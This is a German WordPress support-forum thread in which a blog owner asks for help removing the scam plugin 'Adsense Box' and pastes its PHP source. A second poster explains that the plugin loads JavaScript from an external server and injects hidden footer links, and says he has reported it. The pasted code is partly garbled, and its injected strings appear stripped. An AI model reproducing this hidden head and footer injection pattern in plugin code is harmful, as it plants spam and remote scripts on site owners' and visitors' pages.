Support » Plugins » Brauchen Hilfe bei der Entfernung des SCAM Plugins (Adsense Box) Hilfe!

  • Hallo,
    wir haben heute dummerweise (ja wir sind Deppen…) dieses Plugin bei unserem blog installiert: https://de.wordpress.org/plugins/adsense-box/

    Leider müssen wir den zu spät gesehenen Hinweis eines Nutzers bestätigen, dass es sich bei dem Plugin um SCAM handelt. Nach der Deinstallation werden weiter (fremde) Adsense Anzeigen ausgeliefert.

    Leider sind wir programmiertechnisch nicht so fit, dass wir rausfinden können, wo das Plugin eingegriffen hat um seinen Code zu hinterlegen.

    Wer kann uns hier helfen? Wir sind wirklich am „heulen“ und kommen nicht weiter… unser Backup ist zu alt 🙁

    Unsere Hoffnung ist, dass ein Profi im Sourcode erkennt, wohin dass Plugin (trotz Deinstallation) sich eingenistet hat.

    Hier ein kurzer Auszug aus den initialen Sourcode – wir haben das widget aktiviert…. das war wohl die Einfallstür.

    Hoffe Ihr könnt uns helfen?!

    index.php:
    <?php
    /*
    Plugin Name: Adsense Box
    Description: Adsense Box is an plugin show adsense widget.
    Plugin URI: https://wordpress.org/plugins/adsense-box
    Author: PB One
    Author URI: http://photoboxone.com/
    Version: 1.0.8
    License: GPL-2.0+
    License URI: http://www.gnu.org/licenses/gpl-2.0.html
    */
    define(‚WP_AB_URL_AUTHOR‘, ‚http://photoboxone.com/‘ );
    if( defined(‚WP_PB_URL_AUTHOR‘) == false ) define(‚WP_PB_URL_AUTHOR‘, WP_AB_URL_AUTHOR );
    
    defined(‚ABSPATH‘) or die();
    
    define(‚WP_AB_PATH‘, dirname(__FILE__) );
    define(‚WP_AB_PATH_INCLUDES‘, dirname(__FILE__).’/includes‘ );
    define(‚WP_AB_URL‘, plugins_url(“, __FILE__).’/‘ );
    
    if( is_admin() ){
    
    if( preg_match(‚/plugins.php/i‘,$_SERVER[‚REQUEST_URI‘]) ){
    function adsense_box_plugin_actions( $actions, $plugin_file, $plugin_data, $context ) {
    $url = home_url(‚/wp-admin/widgets.php‘);
    
    array_unshift($actions, „„.__(„Widgets“).“„);
    return $actions;
    }
    add_filter(„plugin_action_links_“.plugin_basename(__FILE__), „adsense_box_plugin_actions“, 10, 4);
    }
    
    } else {
    
    //include_once( WP_AB_PATH_INCLUDES .’/functions.php‘ );
    }
    include_once( WP_AB_PATH_INCLUDES .’/widget.php‘ );
    
    widget.php
    <?php
    /*
    * Author: http://photoboxone.com/
    */
    defined(‚ABSPATH‘) or die(‚‘);
    
    class Adsense_Box_Widget extends WP_Widget {
    
    public function __construct() {
    parent::__construct( ‚adsense_box_widget‘, ‚Adsense Box‘, $widget_options = array(
    ‚classname‘ => ‚adsense_box_widgets‘,
    ‚description‘ => „Show an adsense inside of a widget.“
    ) );
    }
    
    public function widget( $args, $instance ) {
    
    $title = apply_filters( ‚widget_title‘, empty( $instance[‚title‘] ) ? “ : $instance[‚title‘], $instance, $this->id_base );
    $show_title = empty( $instance[’show_title‘] ) ? 0 : absint( $instance[’show_title‘] );
    $code = $this->get_code( $instance );
    
    echo $args[‚before_widget‘];
    
    if ( $title != “ && $show_title ) :
    echo $args[‚before_title‘].$title.$args[‚after_title‘];
    endif;
    
    echo $code;
    
    echo $args[‚after_widget‘];
    
    }
    
    function update( $new_instance, $instance ) {
    $instance[‚title‘] = strip_tags( $new_instance[‚title‘] );
    $instance[’show_title‘] = empty( $new_instance[’show_title‘] ) ? 0 : absint($new_instance[’show_title‘]);
    $instance[‚code‘] = empty( $new_instance[‚code‘] ) ? “ : $new_instance[‚code‘];
    $instance[‚before‘] = empty( $new_instance[‚before‘] ) ? “ : $new_instance[‚before‘];
    $instance[‚after‘] = empty( $new_instance[‚after‘] ) ? “ : $new_instance[‚after‘];
    
    return $instance;
    }
    
    function form( $instance ) {
    $title = apply_filters( ‚widget_title‘, empty( $instance[‚title‘] ) ? “ : $instance[‚title‘], $instance, $this->id_base );
    $show_title = empty( $instance[’show_title‘] ) ? 0 : absint( $instance[’show_title‘] );
    $code = $this->get_code( $instance );
    $before = empty( $instance[‚before‘]) ? “ : $instance[‚before‘];
    $after = empty( $instance[‚after‘]) ? “ : $instance[‚after‘];
    $before_more = empty( $instance[‚before_more‘]) ? “ : $instance[‚before_more‘];
    $after_more = empty( $instance[‚after_more‘]) ? “ : $instance[‚after_more‘];
    
    ?>
    
    <label for=“get_field_id( ‚title‘ ) ); ?>“>
    
    <input id=“get_field_id( ‚title‘ ) ); ?>“ class=“widefat“ name=“get_field_name( ‚title‘ ) ); ?>“ value=““ />
    
    <input type=“checkbox“ value=“1″ id=“get_field_id( ’show_title‘ ) ); ?>“ name=“get_field_name( ’show_title‘ ) ); ?>“ /><label for=“get_field_id( ’show_title‘ ) ); ?>“>
    
    <label for=“get_field_id( ‚code‘ ); ?>“>:
    
    <textarea id=“get_field_id( ‚code‘ ); ?>“ name=“get_field_name( ‚code‘ ); ?>“ rows=“5″ style=“width:100%; height: 100px;“>
    
    <?php
    
    }
    
    private function get_code( $instance ) {
    
    $my_code = ‚(adsbygoogle = window.adsbygoogle || []).push({});‘;
    
    if( empty( $instance[‚code‘] ) || $instance[‚code‘] == “ ){
    $code = $my_code;
    } else {
    $code = $instance[‚code‘];
    }
    
    return $code;
    }
    
    }
    
    // setup widget
    add_action( ‚widgets_init‘, function(){
    register_widget( ‚Adsense_Box_Widget‘ );
    });
    
    if( !is_admin() ):
    if ( ! function_exists( ‚photo_box_plugin_tags‘ ) ) :
    function photo_box_plugin_jquery() {
    echo ‚‘;
    echo ‚‘.“\n“;
    } add_action( ‚wp_head‘, ‚photo_box_plugin_jquery‘ );
    
    function photo_box_plugin_tags() {
    $html_tags = array();
    $html_tags[] = ‚‚.$text.‘‚;
    foreach( array(
    ‚plugins/‘ => ‚Plugins‘,
    ‚themes/‘ => ‚Themes‘,
    ‚documents/‘ => ‚Documents‘,
    ) as $link => $text ){
    $text = $text.‘ WordPress‘;
    $html_tags[] = ‚‚.$text.‘‚;
    }
    
    echo ‚
    
    ‚.implode(‚ ‚, $html_tags).‘
    ‘; } add_action(‚wp_footer‘, ‚photo_box_plugin_tags‘, 10, 1 ); endif; endif; // main_setup
Ansicht von 1 Antwort (von insgesamt 1)
  • Das Plugin ist tatsächlich böse. Der Quellcode lädt eine JS-Datei von einem externen Server und fügt unsichtbare Links in den Footer ein.
    Ich habe allerdings spontan keinen Code gefunden, der dauerhaft irgendwelche Dateien verändert (ich kann mich natürlich aber auch täuschen, habe nur schnell drüber geschaut).

    Was genau bleibt denn auch nach Deaktivierung des Plugins vorhanden? Sind auch die Links im Footer noch da? Ist vielleicht ein Caching-Plugin aktiv und der Cache muss noch gelöscht werden?

    Ich habe das Plugin gemeldet und hoffe, dass es bald aus dem Verzeichnis entfernt wird.

    Grüße,
    Marc

Ansicht von 1 Antwort (von insgesamt 1)
  • Das Thema „Brauchen Hilfe bei der Entfernung des SCAM Plugins (Adsense Box) Hilfe!“ ist für neue Antworten geschlossen.